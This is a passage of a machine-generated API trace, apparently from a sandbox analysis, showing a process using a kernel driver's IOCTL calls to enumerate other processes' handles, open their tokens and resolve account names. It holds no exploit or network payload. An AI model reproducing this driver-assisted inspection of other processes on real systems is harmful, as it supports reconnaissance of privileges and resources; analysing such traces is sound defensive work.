IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.463] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.463] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.463] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0114.463] PsLookupProcessByProcessId (in: ProcessId=0xbc0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.463] PsAcquireProcessExitSynchronization () returned 0x0 [0114.464] KeStackAttachProcess (in: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880055905d0) [0114.464] ObReferenceObjectByHandle (in: Handle=0x12c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0114.464] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.464] PsReleaseProcessExitSynchronization () returned 0x2 [0114.464] ObfDereferenceObject (Object=0xfffffa80022bd7b0) returned 0x37 [0114.464] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8001f9d044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001f9d044, ReturnLength=0xfffff88005590550) returned 0x0 [0114.464] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0114.464] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.464] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.464] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.464] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x34, lpOverlapped=0x0) returned 1 [0114.464] PsLookupProcessByProcessId (in: ProcessId=0xbc0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.464] PsAcquireProcessExitSynchronization () returned 0x0 [0114.464] KeStackAttachProcess (in: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880055905d0) [0114.464] ObReferenceObjectByHandle (in: Handle=0x1b4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80022d2a60, HandleInformation=0x0) returned 0x0 [0114.464] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.464] PsReleaseProcessExitSynchronization () returned 0x2 [0114.464] ObfDereferenceObject (Object=0xfffffa80022bd7b0) returned 0x37 [0114.464] ObQueryNameString (in: Object=0xfffffa80022d2a60, ObjectNameInfo=0xfffffa80020ba044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020ba044, ReturnLength=0xfffff88005590550) returned 0x0 [0114.464] ObfDereferenceObject (Object=0xfffffa80022d2a60) returned 0x1 [0114.464] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.464] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.464] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.464] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x34, lpOverlapped=0x0) returned 1 [0114.464] PsLookupProcessByProcessId (in: ProcessId=0xbc0, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.464] PsAcquireProcessExitSynchronization () returned 0x0 [0114.464] KeStackAttachProcess (in: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880055905d0) [0114.464] ObReferenceObjectByHandle (in: Handle=0x1c0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80023145e0, HandleInformation=0x0) returned 0x0 [0114.464] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.465] PsReleaseProcessExitSynchronization () returned 0x2 [0114.465] ObfDereferenceObject (Object=0xfffffa80022bd7b0) returned 0x37 [0114.465] ObQueryNameString (in: Object=0xfffffa80023145e0, ObjectNameInfo=0xfffffa80020d1044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020d1044, ReturnLength=0xfffff88005590550) returned 0x0 [0114.465] ObfDereferenceObject (Object=0xfffffa80023145e0) returned 0x2 [0114.465] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.465] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.465] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xbec) returned 0xc0 [0114.465] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0114.465] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa80023109d0, HandleInformation=0x0) returned 0x0 [0114.465] ObOpenObjectByPointer (in: Object=0xfffffa80023109d0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000730) returned 0x0 [0114.465] ObfDereferenceObject (Object=0xfffffa80023109d0) returned 0x45 [0114.465] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000730, DesiredAccess=0x8, TokenHandle=0xfffffa800293a180 | out: TokenHandle=0xfffffa800293a180*=0xc8) returned 0x0 [0114.465] ZwClose (Handle=0xffffffff80000730) returned 0x0 [0114.465] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.465] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0114.465] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x14), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="NETWORK SERVICE", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0114.467] CloseHandle (hObject=0xc8) returned 1 [0114.467] CloseHandle (hObject=0xc0) returned 1 [0114.467] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.467] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0114.467] PsLookupProcessByProcessId (in: ProcessId=0xbec, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.467] PsAcquireProcessExitSynchronization () returned 0x0 [0114.467] KeStackAttachProcess (in: PROCESS=0xfffffa80023109d0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80023109d0, ApcState=0xfffff880055905d0) [0114.467] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002359770, HandleInformation=0x0) returned 0x0 [0114.467] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.467] PsReleaseProcessExitSynchronization () returned 0x2 [0114.467] ObfDereferenceObject (Object=0xfffffa80023109d0) returned 0x43 [0114.467] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001faa044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001faa044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.467] ObfDereferenceObject (Object=0xfffffa8002359770) returned 0x1 [0114.467] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.467] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.467] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.467] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0114.467] PsLookupProcessByProcessId (in: ProcessId=0xbec, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.467] PsAcquireProcessExitSynchronization () returned 0x0 [0114.467] KeStackAttachProcess (in: PROCESS=0xfffffa80023109d0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80023109d0, ApcState=0xfffff880055905d0) [0114.467] ObReferenceObjectByHandle (in: Handle=0xa8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80023184d0, HandleInformation=0x0) returned 0x0 [0114.467] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.467] PsReleaseProcessExitSynchronization () returned 0x2 [0114.467] ObfDereferenceObject (Object=0xfffffa80023109d0) returned 0x43 [0114.467] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa800201d044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800201d044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.468] ObfDereferenceObject (Object=0xfffffa80023184d0) returned 0x1 [0114.468] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.468] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.468] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.468] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x6e, lpOverlapped=0x0) returned 1 [0114.468] PsLookupProcessByProcessId (in: ProcessId=0xbec, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.468] PsAcquireProcessExitSynchronization () returned 0x0 [0114.468] KeStackAttachProcess (in: PROCESS=0xfffffa80023109d0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80023109d0, ApcState=0xfffff880055905d0) [0114.468] ObReferenceObjectByHandle (in: Handle=0x104, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0016c4d40, HandleInformation=0x0) returned 0x0 [0114.468] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.468] PsReleaseProcessExitSynchronization () returned 0x2 [0114.468] ObfDereferenceObject (Object=0xfffffa80023109d0) returned 0x43 [0114.468] ObQueryNameString (in: Object=0xfffff8a0016c4d40, ObjectNameInfo=0xfffffa80020e0044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020e0044, ReturnLength=0xfffff88005590550) returned 0x0 [0114.468] ObfDereferenceObject (Object=0xfffff8a0016c4d40) returned 0x4 [0114.468] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.468] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.468] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.468] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0114.468] PsLookupProcessByProcessId (in: ProcessId=0xbec, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.468] PsAcquireProcessExitSynchronization () returned 0x0 [0114.468] KeStackAttachProcess (in: PROCESS=0xfffffa80023109d0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80023109d0, ApcState=0xfffff880055905d0) [0114.468] ObReferenceObjectByHandle (in: Handle=0x120, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0114.468] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.468] PsReleaseProcessExitSynchronization () returned 0x2 [0114.468] ObfDereferenceObject (Object=0xfffffa80023109d0) returned 0x43 [0114.468] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005590550) returned 0x0 [0114.468] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0114.468] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.468] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.468] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.468] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0114.468] PsLookupProcessByProcessId (in: ProcessId=0xbec, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.469] PsAcquireProcessExitSynchronization () returned 0x0 [0114.469] KeStackAttachProcess (in: PROCESS=0xfffffa80023109d0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80023109d0, ApcState=0xfffff880055905d0) [0114.469] ObReferenceObjectByHandle (in: Handle=0x12c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0114.469] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.469] PsReleaseProcessExitSynchronization () returned 0x2 [0114.469] ObfDereferenceObject (Object=0xfffffa80023109d0) returned 0x43 [0114.469] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005590550) returned 0x0 [0114.469] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0114.469] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.469] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.469] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.469] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x34, lpOverlapped=0x0) returned 1 [0114.469] PsLookupProcessByProcessId (in: ProcessId=0xbec, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.469] PsAcquireProcessExitSynchronization () returned 0x0 [0114.469] KeStackAttachProcess (in: PROCESS=0xfffffa80023109d0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80023109d0, ApcState=0xfffff880055905d0) [0114.469] ObReferenceObjectByHandle (in: Handle=0x1e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002310680, HandleInformation=0x0) returned 0x0 [0114.469] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.469] PsReleaseProcessExitSynchronization () returned 0x2 [0114.469] ObfDereferenceObject (Object=0xfffffa80023109d0) returned 0x43 [0114.469] ObQueryNameString (in: Object=0xfffffa8002310680, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005590550) returned 0x0 [0114.469] ObfDereferenceObject (Object=0xfffffa8002310680) returned 0x1 [0114.469] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.469] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.469] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x328) returned 0xc0 [0114.469] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0114.469] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa8001fdf060, HandleInformation=0x0) returned 0x0 [0114.469] ObOpenObjectByPointer (in: Object=0xfffffa8001fdf060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000730) returned 0x0 [0114.469] ObfDereferenceObject (Object=0xfffffa8001fdf060) returned 0x3a [0114.469] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000730, DesiredAccess=0x8, TokenHandle=0xfffffa800293a180 | out: TokenHandle=0xfffffa800293a180*=0xc8) returned 0x0 [0114.470] ZwClose (Handle=0xffffffff80000730) returned 0x0 [0114.470] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.470] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0114.470] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0114.529] CloseHandle (hObject=0xc8) returned 1 [0114.530] CloseHandle (hObject=0xc0) returned 1 [0114.530] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.530] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0114.530] PsLookupProcessByProcessId (in: ProcessId=0x328, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.530] PsAcquireProcessExitSynchronization () returned 0x0 [0114.530] KeStackAttachProcess (in: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880055905d0) [0114.530] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80103235d0, HandleInformation=0x0) returned 0x0 [0114.530] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.530] PsReleaseProcessExitSynchronization () returned 0x2 [0114.530] ObfDereferenceObject (Object=0xfffffa8001fdf060) returned 0x38 [0114.530] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.530] ObfDereferenceObject (Object=0xfffffa80103235d0) returned 0x1 [0114.530] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.530] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.530] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.530] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0114.530] PsLookupProcessByProcessId (in: ProcessId=0x328, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.530] PsAcquireProcessExitSynchronization () returned 0x0 [0114.530] KeStackAttachProcess (in: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880055905d0) [0114.530] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003582f20, HandleInformation=0x0) returned 0x0 [0114.530] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.530] PsReleaseProcessExitSynchronization () returned 0x2 [0114.530] ObfDereferenceObject (Object=0xfffffa8001fdf060) returned 0x38 [0114.530] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800202c044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800202c044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.530] ObfDereferenceObject (Object=0xfffffa8003582f20) returned 0x1 [0114.530] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.530] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.530] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.531] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0114.531] PsLookupProcessByProcessId (in: ProcessId=0x328, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.531] PsAcquireProcessExitSynchronization () returned 0x0 [0114.531] KeStackAttachProcess (in: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880055905d0) [0114.531] ObReferenceObjectByHandle (in: Handle=0xec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001546a40, HandleInformation=0x0) returned 0x0 [0114.531] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.531] PsReleaseProcessExitSynchronization () returned 0x2 [0114.531] ObfDereferenceObject (Object=0xfffffa8001fdf060) returned 0x38 [0114.531] ObQueryNameString (in: Object=0xfffff8a001546a40, ObjectNameInfo=0xfffffa8002058044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002058044, ReturnLength=0xfffff88005590550) returned 0x0 [0114.531] ObfDereferenceObject (Object=0xfffff8a001546a40) returned 0x7 [0114.531] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.531] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.531] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.531] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0114.531] PsLookupProcessByProcessId (in: ProcessId=0x328, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.531] PsAcquireProcessExitSynchronization () returned 0x0 [0114.531] KeStackAttachProcess (in: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880055905d0) [0114.531] ObReferenceObjectByHandle (in: Handle=0x104, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80023c9470, HandleInformation=0x0) returned 0x0 [0114.531] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.531] PsReleaseProcessExitSynchronization () returned 0x2 [0114.531] ObfDereferenceObject (Object=0xfffffa8001fdf060) returned 0x38 [0114.531] ObQueryNameString (in: 